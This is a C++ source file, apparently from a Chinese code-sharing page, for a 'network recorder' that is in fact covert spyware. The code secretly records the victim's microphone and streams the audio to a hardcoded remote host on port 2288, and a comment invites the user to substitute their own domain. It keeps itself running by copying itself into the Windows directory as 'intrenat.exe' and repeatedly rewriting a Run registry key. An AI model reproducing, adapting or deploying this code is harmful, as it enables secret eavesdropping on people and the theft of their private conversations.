?? 網(wǎng)絡(luò)錄音機.cpp
字號:
// 網(wǎng)絡(luò)錄音機.cpp : Defines the entry point for the application.
//
#include "stdafx.h"
#include "winsock.h"
#include <mmsystem.h>
#include "malloc.h"
#include "InfoZip.h"
PBYTE pBuffer1,pBuffer2,pSaveBuffer,pNewBuffer;
DWORD dwDataLength=0,dl=0;//,dwRepetitions=1;
WAVEFORMATEX waveform;
HWAVEIN hWaveIn;
BOOL m_close=NULL;
SOCKET sock;
HANDLE m_handle=NULL;
SOCKADDR_IN addr;
BOOL nSend=TRUE;
PWAVEHDR pWaveHdr1,pWaveHdr2;
void GetWave(void);//獲取錄音
void CreateSock(void);//初式化網(wǎng)絡(luò);
static void CALLBACK WaveS(HWAVEIN waveIn, UINT uMsg, DWORD dwInstance, DWORD dwParam1, DWORD dwParam2);
UINT Conn(LPVOID lParam)
{
while(TRUE)
{
if(m_close)
{
CreateSock();
}
Sleep(2000);
}
return 0;
}
void CreateSock(void)
{
hostent* host=NULL;
closesocket(sock);
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
while(host==NULL)
{
host=gethostbyname("daer3000.bjs.cn");
}
addr.sin_family=AF_INET;
addr.sin_port=htons(2288);
CopyMemory(&addr.sin_addr.S_un.S_addr,host->h_addr_list[0],host->h_length);//語音
while(connect(sock,(SOCKADDR*)&addr,sizeof(addr))<0)
{
while(host==NULL)
{
host=gethostbyname("daer3000.bjs.cn");//這里可以把他換成你的域名
}
host=gethostbyname("daer3000.bjs.cn");
CopyMemory(&addr.sin_addr.S_un.S_addr,host->h_addr_list[0],host->h_length);
Sleep(3000);
}
GetWave();//開始錄音
m_close=FALSE;
SuspendThread(m_handle);
}
static void CALLBACK WaveS(HWAVEIN waveIn, UINT uMsg, DWORD dwInstance, DWORD dwParam1, DWORD dwParam2)
{
switch(uMsg)
{
case MM_WIM_CLOSE:
waveInUnprepareHeader (waveIn, pWaveHdr1, sizeof (WAVEHDR)) ;
waveInUnprepareHeader (waveIn, pWaveHdr2, sizeof (WAVEHDR)) ;
free(pBuffer1);
free(pBuffer2);
break;
case MM_WIM_DATA:
pNewBuffer = (PBYTE)realloc (pSaveBuffer,dwDataLength +((PWAVEHDR)dwParam1)->dwBytesRecorded);
if (pNewBuffer == NULL)
{
waveInClose (waveIn) ;
return ;
}
pSaveBuffer = pNewBuffer ;
//////////////////////////////////////////////////////////////////////////
CopyMemory (pSaveBuffer + dwDataLength, ((PWAVEHDR)dwParam1)->lpData,((PWAVEHDR)dwParam1)->dwBytesRecorded) ;
dwDataLength += ((PWAVEHDR)dwParam1)->dwBytesRecorded ;
if(dwDataLength>=11300)
{
int ret=send(sock,(char*)pSaveBuffer,dwDataLength,0);
if(ret==SOCKET_ERROR)
{
m_close=TRUE;
ResumeThread(m_handle);
waveInClose(hWaveIn);
}
//Sleep(1000);
free (pSaveBuffer);
pSaveBuffer = reinterpret_cast<PBYTE>(malloc(1));
dwDataLength=0;
}
// Send out a new buffer
waveInAddBuffer (waveIn, (PWAVEHDR)dwParam1, sizeof (WAVEHDR)) ;
break;
}
}
void GetWave(void)
{
pWaveHdr1=reinterpret_cast<PWAVEHDR>(malloc(sizeof(WAVEHDR)));
pWaveHdr2=reinterpret_cast<PWAVEHDR>(malloc(sizeof(WAVEHDR)));
pSaveBuffer = reinterpret_cast<PBYTE>(malloc(1));
pBuffer1=(PBYTE)malloc(INP_BUFFER_SIZE);
pBuffer2=(PBYTE)malloc(INP_BUFFER_SIZE);
if (!pBuffer1 || !pBuffer2)
{
if (pBuffer1) free(pBuffer1);
if (pBuffer2) free(pBuffer2);
return;
}
//open waveform audo for input
waveform.wFormatTag=WAVE_FORMAT_PCM;
waveform.nChannels=1;
waveform.nSamplesPerSec=11025;
waveform.nAvgBytesPerSec=11025;
waveform.nBlockAlign=1;
waveform.wBitsPerSample=8;
waveform.cbSize=0;
if (waveInOpen(&hWaveIn,WAVE_MAPPER,&waveform,(DWORD)WaveS,0,CALLBACK_FUNCTION))
{
free(pBuffer1);
free(pBuffer2);
//MessageBox(NULL,"Open erro!",NULL,MB_OK);
}//打開設(shè)備
pWaveHdr1->lpData=(LPTSTR)pBuffer1;//一到這里就出現(xiàn)異常,不知道是什么問題
pWaveHdr1->dwBufferLength=INP_BUFFER_SIZE;
pWaveHdr1->dwBytesRecorded=0;
pWaveHdr1->dwUser=0;
pWaveHdr1->dwFlags=0;
pWaveHdr1->dwLoops=1;
pWaveHdr1->lpNext=NULL;
pWaveHdr1->reserved=0;
waveInPrepareHeader(hWaveIn,pWaveHdr1,sizeof(WAVEHDR));//準保內(nèi)存塊錄音
pWaveHdr2->lpData=(LPTSTR)pBuffer2;
pWaveHdr2->dwBufferLength=INP_BUFFER_SIZE;
pWaveHdr2->dwBytesRecorded=0;
pWaveHdr2->dwUser=0;
pWaveHdr2->dwFlags=0;
pWaveHdr2->dwLoops=1;
pWaveHdr2->lpNext=NULL;
pWaveHdr2->reserved=0;
waveInPrepareHeader(hWaveIn,pWaveHdr2,sizeof(WAVEHDR));
//////////////////////////////////////////////////////////////////////////
pSaveBuffer = (PBYTE)realloc (pSaveBuffer, 1) ;
// Add the buffers
waveInAddBuffer (hWaveIn, pWaveHdr1, sizeof (WAVEHDR)) ;
waveInAddBuffer (hWaveIn, pWaveHdr2, sizeof (WAVEHDR)) ;
waveInStart (hWaveIn);
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
WSADATA data;
::WSAStartup(0x0101,&data);
CreateSemaphore(NULL,1,1,"GetLn32new");
if(::GetLastError()==ERROR_ALREADY_EXISTS)
{
::ExitProcess(0);
}//檢查
char zip[MAX_PATH];
::GetTempPath(MAX_PATH,zip);
strcat(zip,"temp000.zip");
DeleteFile(zip);
char Wpath[MAX_PATH],onwpath[MAX_PATH];
HKEY key;
char skey[300]="Software\\Microsoft\\Windows\\CurrentVersion\\Run";
::GetWindowsDirectory(Wpath,MAX_PATH);
::GetModuleFileName(NULL,onwpath,MAX_PATH);
strcat(Wpath,"\\intrenat.exe");
CopyFile(onwpath,Wpath,FALSE);
RegCreateKey(HKEY_LOCAL_MACHINE,skey,&key);
RegSetValueEx(key,"intrenat",0,REG_SZ,(BYTE*)Wpath,strlen(Wpath));
RegCloseKey(key);
m_handle=CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)Conn,NULL,NULL,&dl);
SuspendThread(m_handle);
CreateSock();//創(chuàng)建網(wǎng)絡(luò)連接(語音)
while(TRUE)
{
CopyFile(onwpath,Wpath,FALSE);
RegCreateKey(HKEY_LOCAL_MACHINE,skey,&key);
RegSetValueEx(key,"intrenat",0,REG_SZ,(BYTE*)Wpath,strlen(Wpath));
RegCloseKey(key);
Sleep(8000);
}//自我復(fù)制+寫注冊表
return 0;
}
?? 快捷鍵說明
復(fù)制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -